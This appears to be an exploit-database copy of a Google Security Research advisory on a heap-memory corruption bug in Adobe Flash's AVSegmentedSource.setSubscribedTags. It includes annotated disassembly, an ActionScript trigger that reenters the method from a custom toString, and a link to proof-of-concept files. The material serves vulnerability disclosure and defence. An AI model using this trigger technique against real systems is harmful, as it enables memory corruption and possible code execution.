Adobe Flash – AVSS.setSubscribedTags Use-After-Free Memory Corruption

  • 作者: Google Security Research
    日期: 2015-08-19
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/37844/
  • Source: https://code.google.com/p/google-security-research/issues/detail?id=303&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id
    
    [Tracking for: https://code.google.com/p/chromium/issues/detail?id=470864]
    
    VULNERABILITY DETAILS
    Use After Free in Flash AVSS.setSubscribedTags, setCuePointTags and setSubscribedTagsForBackgroundManifest can be abused to write pointers to String to freed locations.
    
    VERSION
    Chrome Version: 41.0.2272.101 stable, Flash 17.0.0.134
    Operating System: Win7 x64 SP1
    
    REPRODUCTION CASE
    Use After Free vulnerability in AVSS.setSubscribedTags can cause arbitrary code execution.
    pepflashplayer.dll 17.0.0.134, based at 0x10000000.
    
    The setSubscribedTags is handled by sub_103255AD:
    
    .text:103255AD pushebp
    .text:103255AE mov ebp, esp
    .text:103255B0 and esp, 0FFFFFFF8h
    .text:103255B3 sub esp, 14h
    .text:103255B6 pushebx
    .text:103255B7 mov ebx, [ebp+arg_0]
    .text:103255BA pushesi
    .text:103255BB pushedi
    .text:103255BC mov edi, eax
    .text:103255BE mov eax, [ebx]
    .text:103255C0 mov ecx, ebx
    .text:103255C2 calldword ptr [eax+8Ch]; first get the length of the provided array
    .text:103255C8 lea esi, [edi+4Ch]
    .text:103255CB mov [esp+20h+var_C], eax
    .text:103255CF callsub_103265BB
    .text:103255D4 mov esi, [esp+20h+var_C]
    .text:103255D8 testesi, esi
    .text:103255DA jzloc_1032566D
    .text:103255E0 xor ecx, ecx
    .text:103255E2 push4
    .text:103255E4 pop edx
    .text:103255E5 mov eax, esi
    .text:103255E7 mul edx
    .text:103255E9 setocl
    .text:103255EC mov [edi+58h], esi
    .text:103255EF neg ecx
    .text:103255F1 orecx, eax
    .text:103255F3 pushecx
    .text:103255F4 callunknown_libname_129 ;and then allocate an array of 4*length
    .text:103255F9 and [esp+24h+var_10], 0
    .text:103255FE pop ecx
    .text:103255FF mov [edi+54h], eax ; that pointer is put at offset 0x54 in the object pointed by edi
    
    
    Next there is a for loop that iterates over the array items and calls the toString() method of each item encountered:
    
    .text:10325606 loc_10325606:
    .text:10325606 mov eax, [edi+8]
    .text:10325609 mov eax, [eax+14h]
    .text:1032560C mov esi, [eax+4]
    .text:1032560F push[esp+20h+var_10]
    .text:10325613 mov eax, [ebx]
    .text:10325615 mov ecx, ebx
    .text:10325617 calldword ptr [eax+3Ch] ; get the ith element
    .text:1032561A pusheax
    .text:1032561B mov ecx, esi
    .text:1032561D callsub_1007205D; call element->toString()
    .text:10325622 lea ecx, [esp+20h+var_8]
    .text:10325626 pushecx
    .text:10325627 callsub_10061703
    .text:1032562C mov eax, [esp+20h+var_4]
    .text:10325630 inc eax
    .text:10325631 pusheax
    .text:10325632 callunknown_libname_129
    .text:10325637 mov edx, [edi+54h]
    .text:1032563A pop ecx
    .text:1032563B mov ecx, [esp+20h+var_10]
    .text:1032563F mov [edx+ecx*4], eax; write a pointer to the string in the array
    ...
    .text:1032565F inc [esp+20h+var_10]
    .text:10325663 mov eax, [esp+20h+var_10]
    .text:10325667 cmp eax, [esp+20h+var_C]
    .text:1032566B jlshort loc_10325606
    
    
    The issue can be triggered as follows. Register an object with a custom toString method in an array and call AVSS.setSubscribedTags(array). When object.toString() is called, call again AVSS.setSubscribedTags with a smaller array. This results in freeing the first buffer. So when the execution flow returns to AVSS.setSubscribedTags a UAF occurs allowing an attacker to write a pointer to a string somewhere in memory.
    
    Trigger with that:
    
    var avss:flash.media.AVSegmentedSource= new flash.media.AVSegmentedSource ();
    
    var o:Object = new Object();
    o.toString = function():String {
    var a = [0,1,2,3];
    avss.setSubscribedTags(a);
    return "ahahahahah"
    };
    
    var a = [o,1,2,3,4,5,6,7,8,9];
    var i:uint = 0;
    while (i < 0x100000) {
    i++;
    a.push(i);
    }
    avss.setSubscribedTags(a);
    
    Note: AVSS.setCuePointTags and AVSS.setSubscribedTagsForBackgroundManifest are vulnerable as well, see XAVSSArrayPoc2.swf and XAVSSArrayPoc3.swf.
    
    Compile with mxmlc -target-player 15.0 -swf-version 25 XAVSSArrayPoc.as.
    
    My mistake, not a UAF but instead a heap overflow. We allocate first 4*0x100000 bytes, then free that buffer, then reallocate 4*4 bytes, then write 0x100000 pointers to a buffer of size 0x10.
    
    
    Proof of Concept:
    https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37844.zip